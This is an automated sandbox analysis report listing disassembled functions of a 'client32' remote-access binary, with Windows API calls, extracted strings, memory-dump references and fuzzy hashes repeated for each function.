APIs

Part of subcall function 110CCA10: EnterCriticalSection.KERNEL32(00000000,00000000,DC70C1FE,?,?,?,DC70C1FE), ref: 110CCA4A
Part of subcall function 110CCA10: LeaveCriticalSection.KERNEL32(00000000,?,?,?,DC70C1FE), ref: 110CCAB2

IsWindow.USER32(?), ref: 110CD2FB

Part of subcall function 110CAFC0: GetCurrentThreadId.KERNEL32 ref: 110CAFC9

RemovePropA.USER32(?), ref: 110CD328
DeleteObject.GDI32(?), ref: 110CD33C
DeleteObject.GDI32(?), ref: 110CD346

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalDeleteObjectSection$CurrentEnterLeavePropRemoveThreadWindow
String ID:
API String ID: 3515130325-0
Opcode ID: dfaa25823bd437af00b48b9cb039003f0fe96ea0139f721f484334f7840a211f
Instruction ID: 1912d5f7d6517959c15795f1203ad34c6d2ee6b6a386a3d84c59d9fd341526e4
Opcode Fuzzy Hash: dfaa25823bd437af00b48b9cb039003f0fe96ea0139f721f484334f7840a211f
Instruction Fuzzy Hash: 57214BB5E007559BDB20DF69D844B5FFBE8AB44B18F004A6DE86297680D774E440CB90

Function 11063510 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

FindWindowA.USER32(?,00000000), ref: 1106352E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 8265c7733af96d4dda88c0ddade548804898b919ac610bc4d1eb58f025c4b91a
Instruction ID: e8329917378a6b87ca437673dd5b043a6dbca1648499038e9eb5cae08ecf1174
Opcode Fuzzy Hash: 8265c7733af96d4dda88c0ddade548804898b919ac610bc4d1eb58f025c4b91a
Instruction Fuzzy Hash: 5521A675E4122DABD750CF58E885BDEF7F4EB49314F1041E9EA0997281DB30AA44CBD0

Function 110590DC Relevance: 6.1, APIs: 4, Instructions: 72timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 110590FC
LeaveCriticalSection.KERNEL32(?), ref: 110591AA
EnterCriticalSection.KERNEL32(?), ref: 110591C4
LeaveCriticalSection.KERNEL32(?), ref: 110591E9

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterTimetime
String ID:
API String ID: 1178526778-0
Opcode ID: 5a3294d831c3680f41abea4f07c433e1b64d8288a9482612daab4534a2a8c4f2
Instruction ID: de64faa2bc893f0042d2db027e64659f3d2cecc70f566eade1ffbf0f13490889
Opcode Fuzzy Hash: 5a3294d831c3680f41abea4f07c433e1b64d8288a9482612daab4534a2a8c4f2
Instruction Fuzzy Hash: 85216B75E006269FCB84DFA8C8C496EF7B8FF497047008A6DE926D7604E730E910CBA0

Function 1103D0B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 68sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,00000000,?), ref: 1103D0E1

Strings

/weblock.htm, xrefs: 1103D14D
:%u, xrefs: 1103D13F
redirect:http://127.0.0.1, xrefs: 1103D12D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: /weblock.htm$:%u$redirect:http://127.0.0.1
API String ID: 3472027048-2181447511
Opcode ID: 73219fc91a885bec8c3d53282fd7fd25bd90ae77e27c8345a4b14af61fd7c86f
Instruction ID: 53e0b3806bd00902e3668edf75962450fe0504f4029adcdddc47de674a55a881
Opcode Fuzzy Hash: 73219fc91a885bec8c3d53282fd7fd25bd90ae77e27c8345a4b14af61fd7c86f
Instruction Fuzzy Hash: 3D11B975F0112EEFFB11DBA4DC40FBEF7A99B41709F0141E9ED1997280DA616D0187A2

Function 1115F274 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 1115F295

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 70290b13f247f12faa18afecf43c5f7794de43455777efaf426826e3acfabc1b
Instruction ID: 924decae14a629f733ede0bb622a477ce8d6e199e6b7b916e29b3dd74e49d163
Opcode Fuzzy Hash: 70290b13f247f12faa18afecf43c5f7794de43455777efaf426826e3acfabc1b
Instruction Fuzzy Hash: 1811573E404317AFCBD22FB09944A6DFB9A9B423F8B214425F9298A140EF71D840CB92

Function 11131380 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000029,00000154,?,00000000), ref: 111313B1
CreateFontIndirectA.GDI32(?), ref: 111313CF
CreateFontIndirectA.GDI32(?), ref: 111313E5
CreateFontIndirectA.GDI32(FFFFFFF0), ref: 111313FB

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFontIndirect$InfoParametersSystem
String ID:
API String ID: 3386289337-0
Opcode ID: cddf9315703bad504045fd98c9e1cfe8d04d1f92840bc27388ccda177a2b43ee
Instruction ID: e4efc710e3e979ce8ff1f48ebad8b7127cba25ea1afedff09802414c266bcb73
Opcode Fuzzy Hash: cddf9315703bad504045fd98c9e1cfe8d04d1f92840bc27388ccda177a2b43ee
Instruction Fuzzy Hash: 92015E719007189BD7A0DFA9DC44BDAF7F9AB84310F1042AAD519A6290DB706988CF51

Function 110071D5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 11007327
SetFocus.USER32(?), ref: 11007383

Strings

edit, xrefs: 11007321

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFocusWindow_memsetwsprintf
String ID: edit
API String ID: 133491855-2167791130
Opcode ID: f65e150b113dac071697823f5246cea45f0e0d9d2d8fe942133c289e5f9292e4
Instruction ID: f78834b4020d8e2e6f829c6f5032a1a8cba214c943ee8e0f2be50220b25a4479
Opcode Fuzzy Hash: f65e150b113dac071697823f5246cea45f0e0d9d2d8fe942133c289e5f9292e4
Instruction Fuzzy Hash: 4851B0B5A00606AFE741CFA8DC80BABB7E5FB48354F11856DF995C7340EA34A942CB61

Function 1103F270 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004C), ref: 110948BE
Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004D), ref: 110948C7
Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004E), ref: 110948CE
Part of subcall function 110948B0: GetSystemMetrics.USER32(00000000), ref: 110948D7
Part of subcall function 110948B0: GetSystemMetrics.USER32(0000004F), ref: 110948DD
Part of subcall function 110948B0: GetSystemMetrics.USER32(00000001), ref: 110948E5

GetRegionData.GDI32(?,00001000,?), ref: 1103F2D5

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h, xrefs: 1103F455, 1103F48A
IsA(), xrefs: 1103F45A, 1103F48F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem$DataErrorExitLastMessageProcessRegionwsprintf
String ID: IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\DataStream.h
API String ID: 1231476184-2270926670
Opcode ID: bcf8010bd49bb8a48e5ff97e5ecb267e14ecb5a38bedc9232b3b103d8f10203e
Instruction ID: 7bd6763c5981859c823165d8063a1c4bf52d6bb4432795ccb6ce09120d22f5b2
Opcode Fuzzy Hash: bcf8010bd49bb8a48e5ff97e5ecb267e14ecb5a38bedc9232b3b103d8f10203e
Instruction Fuzzy Hash: C2613DB5E001AA9FCB24CF54CD84ADDF3B5BF88304F0082D9E689A7244DAB46E85CF51

Function 110EB740 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 110EAED0: RegOpenKeyExA.KERNEL32(?,?,00000000,?,?,?,?,?,?,110EB538,?,?,00020019,DC70C1FE), ref: 110EAEEC

Part of subcall function 110EB020: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00020019,?,00000000,?,00000000,?,1101726F,CompatibleIDs,?,?,?,?), ref: 110EB03D

wsprintfA.USER32 ref: 110EB855
_free.LIBCMT ref: 110EB8D9

Strings

%s\%s, xrefs: 110EB84F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: OpenQueryValue_freewsprintf
String ID: %s\%s
API String ID: 1875235199-4073750446
Opcode ID: d8bf6820d0edb3547cf7034499582b82055e1a7bac5c2f9a20fb15a31a0ff4ca
Instruction ID: 404d1a134e1187fb309c4f311a08f78a04f8c00206b58903b86036f67e5c1031
Opcode Fuzzy Hash: d8bf6820d0edb3547cf7034499582b82055e1a7bac5c2f9a20fb15a31a0ff4ca
Instruction Fuzzy Hash: 8C514FF5D0162D9EDB21CA54CD84BEEB7B8EB48614F4041E9EA1963241EA306E84CFB5

Function 1109F790 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHFOLDER(00000000,00008005,00000000,00000000,00000000), ref: 1109F821

Strings

Journal, xrefs: 1109F7D6
JournalPath, xrefs: 1109F7D1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath
String ID: Journal$JournalPath
API String ID: 1514166925-2350371490
Opcode ID: 571c3e433b90cf46d3ab01637cb7f0e16e325cbb2de70bdab3eef7d4294da6b6
Instruction ID: 434bd909b2f05ad915dc038db26f6da4a37d97d5394bf5eacfbf409b598c8e34
Opcode Fuzzy Hash: 571c3e433b90cf46d3ab01637cb7f0e16e325cbb2de70bdab3eef7d4294da6b6
Instruction Fuzzy Hash: D1414A31E042AE5BD712CF288CA4BDBFFE4EF45744F1045E9D8999B340EA31A908C792

Function 110BD560 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130comCOMMON

Download Yara Rule

APIs

Part of subcall function 110758B0: GlobalAddAtomA.KERNEL32(NSMCoolbar), ref: 11075905
Part of subcall function 110758B0: GetSysColor.USER32 ref: 11075923
Part of subcall function 110758B0: GetSysColor.USER32(00000014), ref: 1107592A
Part of subcall function 110758B0: GetSysColor.USER32(00000010), ref: 11075931
Part of subcall function 110758B0: GetSysColor.USER32(00000008), ref: 11075938
Part of subcall function 110758B0: GetSysColor.USER32(00000016), ref: 1107593F

Part of subcall function 110AE730: InitializeCriticalSection.KERNEL32(00000154,00000000,110BD632,DC70C1FE,00000000,00000000,00000000,00000000,00000000,111819F4,000000FF,?,1105D27F,?), ref: 110AE741

Part of subcall function 1110D060: GetCurrentThreadId.KERNEL32 ref: 1110D0F6
Part of subcall function 1110D060: InitializeCriticalSection.KERNEL32(-00000010,?,000000FF,?,11026F57,00000001,000003F0), ref: 1110D109
Part of subcall function 1110D060: InitializeCriticalSection.KERNEL32(111EC8A0,?,000000FF,?,11026F57,00000001,000003F0), ref: 1110D118
Part of subcall function 1110D060: EnterCriticalSection.KERNEL32(111EC8A0,?,000000FF,?,11026F57), ref: 1110D12C
Part of subcall function 1110D060: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,000000FF,?,11026F57), ref: 1110D152

OleInitialize.OLE32(00000000), ref: 110BD6C2

Part of subcall function 110CA340: InterlockedIncrement.KERNEL32(111E2E04), ref: 110CA348
Part of subcall function 110CA340: CoInitialize.OLE32(00000000), ref: 110CA36C

GlobalAddAtomA.KERNEL32(NSMCobrowse), ref: 110BD715

Strings

NSMCobrowse, xrefs: 110BD710

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
